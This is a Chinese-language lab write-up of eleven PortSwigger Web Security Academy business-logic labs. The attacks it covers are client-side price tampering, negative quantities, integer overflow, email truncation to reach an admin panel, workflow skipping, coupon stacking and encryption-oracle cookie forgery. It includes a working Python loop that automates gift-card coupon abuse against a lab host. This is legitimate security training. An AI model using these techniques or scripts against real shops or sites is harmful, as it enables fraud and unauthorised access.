PortSwigger Business Logic Vulnerabilities

lab1: Excessive trust in client-side controls

给了100块 买价值1337的货

在历史包里发现

image-20231221161650403

尝试直接修改价格

image-20231221161858007

lab2: High-level logic vulnerability

这里把加入购物车时价格可控的点修复了

但是数量可控 我们可以买负数的东西来加钱

image-20231221195033804

image-20231221195026120

但是返回Cart total price cannot be less than zero

那么控制一下价格 大于0即可

image-20231221195234260

lab3: Low-level logic flaw

买大量的货 溢出上限即可

image-20231221200558320

但是还是卡了我们 必须花钱

由于这里限制了一次最多加99 大概估计整数的上限是20M左右

image-20231221201444558

lab4: Inconsistent handling of exceptional input

需求: 删除carlos

访问admin路由

Admin interface only available if logged in as a DontWannaCry user

image-20231221202658065

我们可以接收任何 以@exploit-0a2300c90469cc9d80ea5232011200d0.exploit-server.net结尾的邮箱

image-20231221203451674

在这里超过255的字符会被截断

我们卡一下长度

image-20231221204405162

image-20231221204508364

image-20231221204639955

lab5: Inconsistent security controls

注册完后直接更新邮箱

image-20231222081215947

lab6: Weak isolation on dual-use endpoint

直接不提交旧密码

image-20231222082355525

lab7: Insufficient workflow validation

先跟一个正常的购买流程

/cart 添加进购物车 -> /cart/checkout 清算 -> /cart/order-confirmation?order-confirmed=true 结算

每个流程都重复发包 然后刷新观察

我们发现在checkout的时候就已经进扣钱了

尝试跳过checkout 添加购物车后直接confirm

image-20231222090150331

这里false和true没影响好像

一开始是想看看能不能反悔

lab8: Authentication bypass via flawed state machine

image-20231222091018797

改administrator 和 admin 都没用

尝试login 然后drop掉role-selector

image-20231222092405290

lab9: Flawed enforcement of business rules

New customers use code at checkout: NEWCUST5

注册能领30 off 检测是否重复只检测上一个

然后俩折扣来回叠加

image-20231222103930811

lab10: Infinite money logic flaw

注册送券 SIGNUP30

image-20231222105437164

买giftcart 赚3块 无限薅

现在需要实现自动化

添加购物车 -> 加券 -> 兑换

import requests
import re

csrfPartten = re.compile('<input required type="hidden" name="csrf" value=".*">')
codePartten = re.compile('<td>.*</td>')
url = "https://0add00500314e8f081b017cf00d400a0.web-security-academy.net/"
Cookie = "VpVhq6vKnkAwKWFRosMkSD8TFaaVJP27"
sess = requests.Session()

def do_cart():
    data = {
   
        "productId": 2,
        "redir": "PRODUCT",
        "quantity": 1
    }
    
    res = sess.post(url+"cart", data=data,cookies={
   "session":Cookie})
    
    return res



def getCsrf():
    res = sess.get(url+"my-account?id=wiener",
              cookies={
   "session": Cookie})
    csrf = re.findall(csrfPartten, res.text)[0]
    return(csrf.split("=")[3].replace('"', "").replace(">", ""))

csrf = getCsrf()

def do_coupon():
    
    data = {
   
        "coupon":"SIGNUP30",
        "csrf":csrf
    }
    res = sess.post(url+"cart/coupon", data=data,cookies={
   "session":Cookie})
    
    return res
def do_checkout():
    data = {
   
        "csrf": csrf
    }
    res = sess.post(url+"cart/checkout", data=data,
                    cookies={
   "session": Cookie})
    code = re.findall(codePartten, res.text)
    return code[2:]
    

    

def do_redeem(code):
    data = {
   
        "gift-card": code[0].replace("<td>","").replace("</td>",""),
        "csrf": csrf
    }
    res = sess.post(url+"gift-card", data=data,
                    cookies={
   "session": Cookie})

while True:

    do_cart()
    do_coupon()
    do_redeem(do_checkout())

不考虑效率 跑个半个小时左右就好了

主要还是交互太慢了

image-20231222130923509

lab11: Authentication bypass via encryption oracle

post/comment处会将emil加密

猜测和stay-logged-in是同种方式

尝试将stay-logged-in的值解密

image-20231222133525271

可以看见是用户名加时间戳 将其在emil处提交加密

administrator:1703222719341

image-20231222134653363

前面还有Invalid email address: 23个字符

考虑到一般这种都是块加密 补齐至32个字符

然后把cipher的前32位删了image-20231222140616052

image-20231222140333592

image-20231222140522765

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-24 04:08:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-24 04:08:04       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-24 04:08:04       87 阅读
  4. Python语言-面向对象

    2023-12-24 04:08:04       96 阅读

热门阅读

  1. c# opencv 识别车牌号

    2023-12-24 04:08:04       63 阅读
  2. 【算法题】6. N字形变换

    2023-12-24 04:08:04       61 阅读
  3. 用大白话举例子讲明白云计算

    2023-12-24 04:08:04       50 阅读
  4. 深度学习在训练什么,什么是模型

    2023-12-24 04:08:04       55 阅读
  5. LSTM和GRU的区别

    2023-12-24 04:08:04       56 阅读
  6. 4.5 【共享源】流详解

    2023-12-24 04:08:04       58 阅读
  7. 5-Docker实例-安装nginx

    2023-12-24 04:08:04       61 阅读
  8. C#和.Net常见问题记录

    2023-12-24 04:08:04       53 阅读